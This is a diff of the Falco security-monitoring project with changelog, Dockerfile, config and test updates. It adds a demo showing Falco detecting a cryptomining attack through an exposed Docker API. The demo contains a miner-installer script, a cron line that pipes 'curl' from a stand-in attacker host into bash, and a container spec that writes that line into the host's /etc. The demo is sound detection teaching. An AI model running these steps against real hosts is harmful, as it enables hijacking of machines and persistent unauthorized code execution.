* Ensure the /lib/modules symlink to /host/lib/modules is set correctly [[#392](https://github.com/draios/falco/issues/392)]
## Rule Changes
* Add additional binary writing programs [[#366](https://github.com/draios/falco/pull/366)]
* Add additional package management programs [[#388](https://github.com/draios/falco/pull/388)] [[#366](https://github.com/draios/falco/pull/366)]
* Expand write_below_etc handling for additional programs [[#388](https://github.com/draios/falco/pull/388)] [[#366](https://github.com/draios/falco/pull/366)]
* Expand set of programs allowed to write to `/etc/pki` [[#388](https://github.com/draios/falco/pull/388)]
* Expand set of root written directories/files [[#388](https://github.com/draios/falco/pull/388)] [[#366](https://github.com/draios/falco/pull/366)]
* Let pam-config read sensitive files [[#388](https://github.com/draios/falco/pull/388)]
* Add additional trusted containers: openshift, datadog, docker ucp agent, gliderlabs logspout [[#388](https://github.com/draios/falco/pull/388)]
* Let coreos update-ssh-keys write to /home/core/.ssh [[#388](https://github.com/draios/falco/pull/388)]
* Expand coverage for MS OMS [[#388](https://github.com/draios/falco/issues/388)] [[#387](https://github.com/draios/falco/issues/387)]
* Expand the set of shell spawning programs [[#366](https://github.com/draios/falco/pull/366)]
* Add additional mysql programs/directories [[#366](https://github.com/draios/falco/pull/366)]
* Let program `id` open network connections [[#366](https://github.com/draios/falco/pull/366)]
* Opt-in rule for protecting tomcat shell spawns [[#366](https://github.com/draios/falco/pull/366)]
* New rule `Write below monitored directory` [[#366](https://github.com/draios/falco/pull/366)]
## v0.10.0
Released 2018-04-24
## Major Changes
* **Rules Directory Support**: Falco will read rules files from `/etc/falco/rules.d` in addition to `/etc/falco/falco_rules.yaml` and `/etc/falco/falco_rules.local.yaml`. Also, when the argument to `-r`/falco.yaml `rules_file` is a directory, falco will read rules files from that directory. [[#348](https://github.com/draios/falco/pull/348)] [[#187](https://github.com/draios/falco/issues/187)]
* Properly support all syscalls (e.g. those without parameter extraction by the kernel module) in falco conditions, so they can be included in `evt.type=<name>` conditions. [[#352](https://github.com/draios/falco/pull/352)]
* When packaged as a container, start building kernel module with gcc 5.0 instead of gcc 4.9. [[#331](https://github.com/draios/falco/pull/331)]
* New example puppet module for falco. [[#341](https://github.com/draios/falco/pull/341)] [[#115](https://github.com/draios/falco/issues/115)]
* When signaled with `USR1`, falco will close/reopen log files. Include a [logrotate](https://github.com/logrotate/logrotate) example that shows how to use this feature for log rotation. [[#347](https://github.com/draios/falco/pull/347)] [[#266](https://github.com/draios/falco/issues/266)]
* To improve resource usage, further restrict the set of system calls available to falco [[#351](https://github.com/draios/falco/pull/351)] [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)]
## Minor Changes
* Add gdb to the development Docker image (sysdig/falco:dev) to aid in debugging. [[#323](https://github.com/draios/falco/pull/323)]
* You can now specify -V multiple times on the command line to validate multiple rules files at once. [[#329](https://github.com/draios/falco/pull/329)]
* When run with `-v`, falco will print *dangling* macros/lists that are not used by any rules. [[#329](https://github.com/draios/falco/pull/329)]
* Add an example demonstrating cryptomining attack that exploits an open docker daemon using host mounts. [[#336](https://github.com/draios/falco/pull/336)]
* New falco.yaml option `json_include_output_property` controls whether the formatted string "output" is included in the json object when json output is enabled. [[#342](https://github.com/draios/falco/pull/342)]
* Centralize testing event types for consideration by falco into a single function [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)) [[#356](https://github.com/draios/falco/pull/356)]
* If a rule has an attribute `warn_evttypes`, falco will not complain about `evt.type` restrictions on that rule [[#355](https://github.com/draios/falco/pull/355)]
* When run with `-i`, print all ignored events/syscalls and exit. [[#359](https://github.com/draios/falco/pull/359)]
## Bug Fixes
* Minor bug fixes to k8s daemonset configuration. [[#325](https://github.com/draios/falco/pull/325)] [[#296](https://github.com/draios/falco/pull/296)] [[#295](https://github.com/draios/falco/pull/295)]
* Ensure `--validate` can be used interchangeably with `-V`. [[#334](https://github.com/draios/falco/pull/334)] [[#322](https://github.com/draios/falco/issues/322)]
* Rule conditions like `fd.net` can now be used with the `in` operator e.g. `evt.type=connect and fd.net in ("127.0.0.1/24")`. [[draios/sysdig#1091](https://github.com/draios/sysdig/pull/1091)] [[#343](https://github.com/draios/falco/pull/343)]
* Ensure that `keep_alive` can be used both with file and program output at the same time. [[#335](https://github.com/draios/falco/pull/335)]
* Make it possible to append to a skipped macro/rule without falco complaining [[#346](https://github.com/draios/falco/pull/346)] [[#305](https://github.com/draios/falco/issues/305)]
* Ensure rule order is preserved even when rules do not contain any `evt.type` restriction. [[#354](https://github.com/draios/falco/issues/354)] [[#355](https://github.com/draios/falco/pull/355)]
## Rule Changes
* Make it easier to extend the `Change thread namespace` rule via a `user_known_change_thread_namespace_binaries` list. [[#324](https://github.com/draios/falco/pull/324)]
* Various FP fixes from users. [[#321](https://github.com/draios/falco/pull/321)] [[#326](https://github.com/draios/falco/pull/326)] [[#344](https://github.com/draios/falco/pull/344)] [[#350](https://github.com/draios/falco/pull/350)]
* New rule `Disallowed SSH Connection` detects attempts ssh connection attempts to hosts outside of an expected set. In order to be effective, you need to override the macro `allowed_ssh_hosts` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
* New rule `Unexpected K8s NodePort Connection` detects attempts to contact the K8s NodePort range from a program running inside a container. In order to be effective, you need to override the macro `nodeport_containers` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
* Improve `Modify binary dirs` rule to work with new syscalls [[#353](https://github.com/draios/falco/pull/353)]
* New rule `Unexpected UDP Traffic` checks for udp traffic not on a list of expected ports. Somewhat FP-prone, so it must be explicitly enabled by overriding the macro `do_unexpected_udp_check` in a user rules file. [[#320](https://github.com/draios/falco/pull/320)] [[#357](https://github.com/draios/falco/pull/357)]
## v0.9.0
Released 2018-01-18

12
COPYING
View File

@@ -277,18 +277,6 @@ YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. If you
* do not wish to do so, delete this exception statement from your
* version.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs

View File

@@ -2,7 +2,7 @@
#### Latest release
**v0.9.0**
**v0.11.1**
Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
@@ -41,6 +41,10 @@ License Terms
---
Falco is licensed to you under the [GPL 2.0](./COPYING) open source license.
In addition, as a special exception, the copyright holders give permission to link the code of portions of this program with the OpenSSL library under certain conditions as described in each individual source file, and distribute linked combinations including the two.
You must obey the GNU General Public License in all respects for all of the code used other than OpenSSL. If you modify file(s) with this exception, you may extend this exception to your version of the file(s), but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
Contributor License Agreements
---
### Background

View File

@@ -1,4 +1,4 @@
/etc/falco/falco.yaml
/etc/falco/falco_rules.yaml
/etc/falco/application_rules.yaml
/etc/falco/rules.available/application_rules.yaml
/etc/falco/falco_rules.local.yaml

View File

@@ -14,28 +14,32 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
&& apt-get update \
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
curl \
jq \
gnupg2 \
bc \
clang-7 \
ca-certificates \
curl \
gnupg2 \
gcc \
gcc-5 \
gcc-4.9 && rm -rf /var/lib/apt/lists/*
gcc-6 \
gdb \
jq \
libc6-dev \
libelf-dev \
llvm-7 \
&& rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
# by symlinking it to 4.9
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
@@ -44,7 +48,20 @@ RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public |
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
# debian:unstable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
&& curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
&& curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
&& dpkg -i *binutils*.deb
COPY ./docker-entrypoint.sh /

View File

@@ -296,23 +296,21 @@ void system_user_interactive() {
}
void network_activity() {
printf("Opening a listening socket on port 8192...\n");
printf("Connecting a udp socket to 10.2.3.4:8192...\n");
int rc;
int sock = socket(PF_INET, SOCK_DGRAM, 0);
struct sockaddr_in localhost;
localhost.sin_family = AF_INET;
localhost.sin_port = htons(8192);
inet_aton("127.0.0.1", &(localhost.sin_addr));
inet_aton("10.2.3.4", &(localhost.sin_addr));
if((rc = bind(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
if((rc = connect(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
{
fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
return;
}
listen(sock, 1);
close(sock);
}

View File

@@ -14,35 +14,51 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
&& apt-get update \
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
curl \
jq \
gnupg2 \
bc \
clang-7 \
ca-certificates \
curl \
dkms \
gnupg2 \
gcc \
gcc-5 \
gcc-4.9 \
dkms && rm -rf /var/lib/apt/lists/*
gcc-6 \
jq \
libc6-dev \
libelf-dev \
llvm-7 \
&& rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
# by symlinking it to 4.9
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
ADD falco-${FALCO_VERSION}-x86_64.deb /
RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
# debian:unstable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
&& curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
&& curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
&& dpkg -i *binutils*.deb
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]

View File

@@ -14,28 +14,31 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
&& apt-get update \
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
curl \
jq \
bc \
clang-7 \
ca-certificates \
curl \
gnupg2 \
gcc \
gcc-5 \
gcc-4.9 && rm -rf /var/lib/apt/lists/*
gcc-6 \
jq \
libc6-dev \
libelf-dev \
llvm-7 \
&& rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 5.0 which breaks older kernels, revert the
# default to gcc-4.9. Also, since some customers use some very old distributions whose kernel
# makefile is hardcoded for gcc-4.6 or so (e.g. Debian Wheezy), we pretend to have gcc 4.6/4.7
# by symlinking it to 4.9
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.8 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.7 \
&& ln -s /usr/bin/gcc-4.9 /usr/bin/gcc-4.6
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
@@ -44,7 +47,20 @@ RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public |
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
# debian:unstable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN curl -s -o binutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils_2.30-22_amd64.deb \
&& curl -s -o libbinutils_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/libbinutils_2.30-22_amd64.deb \
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
&& curl -s -o binutils-common_2.30-22_amd64.deb http://snapshot.debian.org/archive/debian/20180622T211149Z/pool/main/b/binutils/binutils-common_2.30-22_amd64.deb \
&& dpkg -i *binutils*.deb
COPY ./docker-entrypoint.sh /

View File

@@ -0,0 +1,117 @@
# Demo of Falco Detecting Cryptomining Exploit
## Introduction
Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
## Requirements
In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
## Example architecture
The example consists of the following:
* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
A separate container is created to launch the attack:
* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
## Example Walkthrough
### Start everything using docker-compose
To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
You will see fairly verbose output from dockerd:
```
host-machine_1 | crond: crond (busybox 1.27.2) started, log level 6
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
```
When you see log output like the following, you know that falco is started and ready:
```
falco_1 | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
```
### Launch malicious container
To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
The script `launch_malicious_container.sh` performs the necessary POSTs:
* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
* `http://localhost:2375/containers/create?&name=docker123321-mysql`
* `http://localhost:2375/containers/docker123321-mysql/start`
Run the script via `bash launch_malicious_container.sh`.
### Examine cron output as malicious software is installed & run
`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
```
* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
```
It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg)) from `attacker-server` and run it.
You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
68ed578bd034 alpine:latest "/bin/sh -c 'echo '*…" About a minute ago Up About a minute docker123321-mysql
```
Once the cron job runs, you will see output like the following:
```
host-machine_1 | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
host-machine_1 | ***Checking for existing Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
host-machine_1 | ***Killing competing Miner programs
host-machine_1 | ***Reinstalling cron job to run Miner program
host-machine_1 | ***Configuring Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
host-machine_1 | ***Configuring system for Miner program
host-machine_1 | vm.nr_hugepages = 9
host-machine_1 | ***Running Miner program
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
```
### Observe Falco detecting malicious activity
To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
```
falco_1 | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
falco_1 | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
```
### Cleanup
To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.

View File

@@ -0,0 +1,14 @@
server {
listen 8220;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}

View File

@@ -0,0 +1 @@
{"config": "some-bitcoin-miner-config-goes-here"}

View File

@@ -0,0 +1,64 @@
#!/bin/sh
echo "***Checking for existing Miner program"
ps -fe|grep jaav |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
echo "***Killing competing Miner programs"
rm -rf /var/tmp/ysjswirmrm.conf
rm -rf /var/tmp/sshd
ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
echo "***Reinstalling cron job to run Miner program"
crontab -r || true && \
echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true
echo "***Configuring Miner program"
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
chmod 777 /var/tmp/jaav
cd /var/tmp
echo "***Configuring system for Miner program"
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
echo "***Running Miner program"
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
fi
echo "***Ensuring Miner program is alive"
ps -fe|grep jaav |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
echo "***Reconfiguring Miner program"
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
chmod 777 /var/tmp/jaav
cd /var/tmp
echo "***Reconfiguring system for Miner program"
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
echo "***Restarting Miner program"
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

View File

@@ -0,0 +1,8 @@
#!/bin/bash
while true; do
echo "Mining bitcoins..."
sleep 60
done

View File

@@ -0,0 +1,41 @@
version: '3'
volumes:
host-filesystem:
docker-socket:
services:
host-machine:
privileged: true
build:
context: ${PWD}/host-machine
dockerfile: ${PWD}/host-machine/Dockerfile
volumes:
- host-filesystem:/etc
- docker-socket:/var/run
ports:
- "2375:2375"
depends_on:
- "falco"
attacker-server:
image: nginx:latest
ports:
- "8220:8220"
volumes:
- ${PWD}/attacker_files:/usr/share/nginx/html
- ${PWD}/attacker-nginx.conf:/etc/nginx/conf.d/default.conf
depends_on:
- "falco"
falco:
image: sysdig/falco:latest
privileged: true
volumes:
- docker-socket:/host/var/run
- /dev:/host/dev
- /proc:/host/proc:ro
- /boot:/host/boot:ro
- /lib/modules:/host/lib/modules:ro
- /usr:/host/usr:ro
tty: true

View File

@@ -0,0 +1,7 @@
{
"Cmd": ["/bin/sh", "-c", "echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && touch /mnt/etc/crontabs/cron.update && sleep 300"],
"Image": "alpine:latest",
"HostConfig": {
"Binds": ["/etc:/mnt/etc"]
}
}

View File

@@ -0,0 +1,12 @@
FROM docker:stable-dind
RUN set -ex \
&& apk add --no-cache \
bash curl
COPY start-cron-and-dind.sh /usr/local/bin
ENTRYPOINT ["start-cron-and-dind.sh"]
CMD []

View File

@@ -0,0 +1,11 @@
#!/bin/sh
# Start docker-in-docker, but backgrounded with its output still going
# to stdout/stderr.
dockerd-entrypoint.sh &
# Start cron in the foreground with a moderate level of debugging to
# see job output.
crond -f -d 6

View File

@@ -0,0 +1,14 @@
#!/bin/sh
echo "Pulling alpine:latest image to docker-in-docker instance"
curl -X POST 'http://localhost:2375/images/create?fromImage=alpine&tag=latest'
echo "Creating container mounting /etc from host-machine"
curl -H 'Content-Type: application/json' -d @docker123321-mysql-container.json -X POST 'http://localhost:2375/containers/create?&name=docker123321-mysql'
echo "Running container mounting /etc from host-machine"
curl -H 'Content-Type: application/json' -X POST 'http://localhost:2375/containers/docker123321-mysql/start'

View File

@@ -1,4 +1,7 @@
# File(s) containing Falco rules, loaded at startup.
# File(s) or Directories containing Falco rules, loaded at startup.
# The name "rules_file" is only for backwards compatibility.
# If the entry is a file, it will be read directly. If the entry is a directory,
# every file in that directory will be read, in alphabetical order.
#
# falco_rules.yaml ships with the falco package and is overridden with
# every new software version. falco_rules.local.yaml is only created
@@ -10,10 +13,16 @@
rules_file:
- /etc/falco/falco_rules.yaml
- /etc/falco/falco_rules.local.yaml
- /etc/falco/rules.d
# Whether to output events in json or text
json_output: false
# When using json output, whether or not to include the "output" property
# itself (e.g. "File below a known binary directory opened for writing
# (user=root ....") in the json output.
json_include_output_property: true
# Send information logs to stderr and/or syslog Note these are *not* security
# notification logs! These are just Falco lifecycle (and possibly error) logs.
log_stderr: true
@@ -61,6 +70,10 @@ syslog_output:
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the file will be re-opened
# for each output message.
#
# Also, the file will be closed and reopened if falco is signaled with
# SIGUSR1.
file_output:
enabled: false
keep_alive: false
@@ -81,7 +94,9 @@ stdout_output:
# continuously written to, with each output message on its own
# line. If keep_alive is set to false, the program will be re-spawned
# for each output message.
#
# Also, the program will be closed and reopened if falco is signaled with
# SIGUSR1.
program_output:
enabled: false
keep_alive: false

View File

@@ -0,0 +1,13 @@
FROM python:3-stretch
RUN pip install pipenv
WORKDIR /app
ADD Pipfile /app/Pipfile
ADD Pipfile.lock /app/Pipfile.lock
RUN pipenv install --system --deploy
ADD . /app
CMD ["python", "main.py"]

View File

@@ -0,0 +1,16 @@
[[source]]
url = "https://pypi.python.org/simple"
verify_ssl = true
name = "pypi"
[dev-packages]
doublex-expects = "==0.7.0rc2"
doublex = "*"
mamba = "*"
expects = "*"
[packages]
requests = "*"
[requires]
python_version = "3.6"

156
integrations/anchore-falco/Pipfile.lock generated Normal file
View File

@@ -0,0 +1,156 @@
{
"_meta": {
"hash": {
"sha256": "f2737a14e8f562cf355e13ae09f1eed0f80415effd2aa01b86125e94523da345"
},
"pipfile-spec": 6,
"requires": {
"python_version": "3.6"
},
"sources": [
{
"name": "pypi",
"url": "https://pypi.python.org/simple",
"verify_ssl": true
}
]
},
"default": {
